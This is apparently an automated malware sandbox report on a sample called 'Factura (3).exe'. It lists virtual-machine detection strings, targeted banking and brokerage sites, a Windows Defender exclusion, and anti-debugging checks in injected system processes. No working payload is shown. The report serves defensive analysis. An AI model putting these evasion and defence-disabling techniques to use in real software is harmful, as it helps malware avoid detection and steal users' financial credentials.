Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.17.dr	Binary or memory string: VMware20,1
Source: 2E85-1J297.23.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &C:\WINDOWS\system32\drivers\vmhgfs.sysP
Source: Amcache.hve.17.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.17.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 2E85-1J297.23.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: 2E85-1J297.23.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: Amcache.hve.17.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.17.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.17.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: 2E85-1J297.23.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.17.dr	Binary or memory string: VMware VMCI Bus Device
Source: 2E85-1J297.23.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.17.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12112000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWAREP
Source: 2E85-1J297.23.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: 2E85-1J297.23.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: 2E85-1J297.23.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: Amcache.hve.17.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: 2E85-1J297.23.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual USB Mouse
Source: 2E85-1J297.23.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmwareP
Source: Amcache.hve.17.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.17.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.17.dr	Binary or memory string: VMware20,1hbin@
Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: )C:\WINDOWS\system32\drivers\VBoxMouse.sysP
Source: Amcache.hve.17.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.17.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: chkdsk.exe, 00000017.00000002.3768673482.0000000009AA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l.comVMware20,11696497155h
Source: Amcache.hve.17.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\P
Source: 2E85-1J297.23.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: 2E85-1J297.23.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: 2E85-1J297.23.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: 2E85-1J297.23.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.17.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.17.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12112000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIP
Source: chkdsk.exe, 00000017.00000002.3764249613.0000000004F64000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.1859761297.00000226CDC9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 2E85-1J297.23.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: 2E85-1J297.23.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'C:\WINDOWS\system32\drivers\vmmouse.sysP
Source: 2E85-1J297.23.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: Amcache.hve.17.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.17.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3764836576.0000000001259000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlln
Source: 2E85-1J297.23.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.17.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 2E85-1J297.23.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: 2E85-1J297.23.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: Amcache.hve.17.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.17.dr	Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: 2E85-1J297.23.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: 2E85-1J297.23.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: "SOFTWARE\VMware, Inc.\VMware Tools
Source: 2E85-1J297.23.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Code function: 14_2_0541D1C0 rdtsc

14_2_0541D1C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Code function: 14_2_004175D3 LdrLoadDll,

14_2_004175D3

Source: C:\Users\user\Desktop\Factura (3).exe

Code function: 6_2_00007FF7340E7EF4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_00007FF7340E7EF4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE53E mov eax, dword ptr fs:[00000030h]	14_2_053CE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE53E mov eax, dword ptr fs:[00000030h]	14_2_053CE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE53E mov eax, dword ptr fs:[00000030h]	14_2_053CE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE53E mov eax, dword ptr fs:[00000030h]	14_2_053CE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE53E mov eax, dword ptr fs:[00000030h]	14_2_053CE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DD530 mov eax, dword ptr fs:[00000030h]	14_2_053DD530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DD530 mov eax, dword ptr fs:[00000030h]	14_2_053DD530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0535 mov eax, dword ptr fs:[00000030h]	14_2_053B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0535 mov eax, dword ptr fs:[00000030h]	14_2_053B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0535 mov eax, dword ptr fs:[00000030h]	14_2_053B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0535 mov eax, dword ptr fs:[00000030h]	14_2_053B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0535 mov eax, dword ptr fs:[00000030h]	14_2_053B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0535 mov eax, dword ptr fs:[00000030h]	14_2_053B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AD534 mov eax, dword ptr fs:[00000030h]	14_2_053AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AD534 mov eax, dword ptr fs:[00000030h]	14_2_053AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AD534 mov eax, dword ptr fs:[00000030h]	14_2_053AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AD534 mov eax, dword ptr fs:[00000030h]	14_2_053AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AD534 mov eax, dword ptr fs:[00000030h]	14_2_053AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AD534 mov eax, dword ptr fs:[00000030h]	14_2_053AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D7505 mov eax, dword ptr fs:[00000030h]	14_2_053D7505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D7505 mov ecx, dword ptr fs:[00000030h]	14_2_053D7505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05474500 mov eax, dword ptr fs:[00000030h]	14_2_05474500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05474500 mov eax, dword ptr fs:[00000030h]	14_2_05474500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05474500 mov eax, dword ptr fs:[00000030h]	14_2_05474500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05474500 mov eax, dword ptr fs:[00000030h]	14_2_05474500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05474500 mov eax, dword ptr fs:[00000030h]	14_2_05474500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05474500 mov eax, dword ptr fs:[00000030h]	14_2_05474500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05474500 mov eax, dword ptr fs:[00000030h]	14_2_05474500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DB570 mov eax, dword ptr fs:[00000030h]	14_2_053DB570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DB570 mov eax, dword ptr fs:[00000030h]	14_2_053DB570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D656A mov eax, dword ptr fs:[00000030h]	14_2_053D656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D656A mov eax, dword ptr fs:[00000030h]	14_2_053D656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D656A mov eax, dword ptr fs:[00000030h]	14_2_053D656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539B562 mov eax, dword ptr fs:[00000030h]	14_2_0539B562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0544F525 mov eax, dword ptr fs:[00000030h]	14_2_0544F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0544F525 mov eax, dword ptr fs:[00000030h]	14_2_0544F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0544F525 mov eax, dword ptr fs:[00000030h]	14_2_0544F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0544F525 mov eax, dword ptr fs:[00000030h]	14_2_0544F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0544F525 mov eax, dword ptr fs:[00000030h]	14_2_0544F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0544F525 mov eax, dword ptr fs:[00000030h]	14_2_0544F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0544F525 mov eax, dword ptr fs:[00000030h]	14_2_0544F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A8550 mov eax, dword ptr fs:[00000030h]	14_2_053A8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A8550 mov eax, dword ptr fs:[00000030h]	14_2_053A8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0545B52F mov eax, dword ptr fs:[00000030h]	14_2_0545B52F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05475537 mov eax, dword ptr fs:[00000030h]	14_2_05475537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CF5B0 mov eax, dword ptr fs:[00000030h]	14_2_053CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CF5B0 mov eax, dword ptr fs:[00000030h]	14_2_053CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CF5B0 mov eax, dword ptr fs:[00000030h]	14_2_053CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CF5B0 mov eax, dword ptr fs:[00000030h]	14_2_053CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CF5B0 mov eax, dword ptr fs:[00000030h]	14_2_053CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CF5B0 mov eax, dword ptr fs:[00000030h]	14_2_053CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CF5B0 mov eax, dword ptr fs:[00000030h]	14_2_053CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CF5B0 mov eax, dword ptr fs:[00000030h]	14_2_053CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CF5B0 mov eax, dword ptr fs:[00000030h]	14_2_053CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C45B1 mov eax, dword ptr fs:[00000030h]	14_2_053C45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C45B1 mov eax, dword ptr fs:[00000030h]	14_2_053C45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054755C9 mov eax, dword ptr fs:[00000030h]	14_2_054755C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054735D7 mov eax, dword ptr fs:[00000030h]	14_2_054735D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054735D7 mov eax, dword ptr fs:[00000030h]	14_2_054735D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054735D7 mov eax, dword ptr fs:[00000030h]	14_2_054735D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0541D5D0 mov eax, dword ptr fs:[00000030h]	14_2_0541D5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0541D5D0 mov ecx, dword ptr fs:[00000030h]	14_2_0541D5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15A9 mov eax, dword ptr fs:[00000030h]	14_2_053C15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15A9 mov eax, dword ptr fs:[00000030h]	14_2_053C15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15A9 mov eax, dword ptr fs:[00000030h]	14_2_053C15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15A9 mov eax, dword ptr fs:[00000030h]	14_2_053C15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15A9 mov eax, dword ptr fs:[00000030h]	14_2_053C15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE59C mov eax, dword ptr fs:[00000030h]	14_2_053DE59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D4588 mov eax, dword ptr fs:[00000030h]	14_2_053D4588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539758F mov eax, dword ptr fs:[00000030h]	14_2_0539758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539758F mov eax, dword ptr fs:[00000030h]	14_2_0539758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539758F mov eax, dword ptr fs:[00000030h]	14_2_0539758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A2582 mov eax, dword ptr fs:[00000030h]	14_2_053A2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A2582 mov ecx, dword ptr fs:[00000030h]	14_2_053A2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15F4 mov eax, dword ptr fs:[00000030h]	14_2_053C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15F4 mov eax, dword ptr fs:[00000030h]	14_2_053C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15F4 mov eax, dword ptr fs:[00000030h]	14_2_053C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15F4 mov eax, dword ptr fs:[00000030h]	14_2_053C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15F4 mov eax, dword ptr fs:[00000030h]	14_2_053C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C15F4 mov eax, dword ptr fs:[00000030h]	14_2_053C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DC5ED mov eax, dword ptr fs:[00000030h]	14_2_053DC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DC5ED mov eax, dword ptr fs:[00000030h]	14_2_053DC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0542B594 mov eax, dword ptr fs:[00000030h]	14_2_0542B594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0542B594 mov eax, dword ptr fs:[00000030h]	14_2_0542B594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A25E0 mov eax, dword ptr fs:[00000030h]	14_2_053A25E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE5E7 mov eax, dword ptr fs:[00000030h]	14_2_053CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE5E7 mov eax, dword ptr fs:[00000030h]	14_2_053CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE5E7 mov eax, dword ptr fs:[00000030h]	14_2_053CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE5E7 mov eax, dword ptr fs:[00000030h]	14_2_053CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE5E7 mov eax, dword ptr fs:[00000030h]	14_2_053CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE5E7 mov eax, dword ptr fs:[00000030h]	14_2_053CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE5E7 mov eax, dword ptr fs:[00000030h]	14_2_053CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CE5E7 mov eax, dword ptr fs:[00000030h]	14_2_053CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054205A7 mov eax, dword ptr fs:[00000030h]	14_2_054205A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054205A7 mov eax, dword ptr fs:[00000030h]	14_2_054205A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054205A7 mov eax, dword ptr fs:[00000030h]	14_2_054205A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C95DA mov eax, dword ptr fs:[00000030h]	14_2_053C95DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A65D0 mov eax, dword ptr fs:[00000030h]	14_2_053A65D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DA5D0 mov eax, dword ptr fs:[00000030h]	14_2_053DA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DA5D0 mov eax, dword ptr fs:[00000030h]	14_2_053DA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE5CF mov eax, dword ptr fs:[00000030h]	14_2_053DE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE5CF mov eax, dword ptr fs:[00000030h]	14_2_053DE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054335BA mov eax, dword ptr fs:[00000030h]	14_2_054335BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054335BA mov eax, dword ptr fs:[00000030h]	14_2_054335BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054335BA mov eax, dword ptr fs:[00000030h]	14_2_054335BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054335BA mov eax, dword ptr fs:[00000030h]	14_2_054335BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0545F5BE mov eax, dword ptr fs:[00000030h]	14_2_0545F5BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D55C0 mov eax, dword ptr fs:[00000030h]	14_2_053D55C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DA430 mov eax, dword ptr fs:[00000030h]	14_2_053DA430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0545F453 mov eax, dword ptr fs:[00000030h]	14_2_0545F453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539E420 mov eax, dword ptr fs:[00000030h]	14_2_0539E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539E420 mov eax, dword ptr fs:[00000030h]	14_2_0539E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539E420 mov eax, dword ptr fs:[00000030h]	14_2_0539E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539C427 mov eax, dword ptr fs:[00000030h]	14_2_0539C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C340D mov eax, dword ptr fs:[00000030h]	14_2_053C340D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0547547F mov eax, dword ptr fs:[00000030h]	14_2_0547547F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D8402 mov eax, dword ptr fs:[00000030h]	14_2_053D8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D8402 mov eax, dword ptr fs:[00000030h]	14_2_053D8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D8402 mov eax, dword ptr fs:[00000030h]	14_2_053D8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CA470 mov eax, dword ptr fs:[00000030h]	14_2_053CA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CA470 mov eax, dword ptr fs:[00000030h]	14_2_053CA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CA470 mov eax, dword ptr fs:[00000030h]	14_2_053CA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A1460 mov eax, dword ptr fs:[00000030h]	14_2_053A1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A1460 mov eax, dword ptr fs:[00000030h]	14_2_053A1460
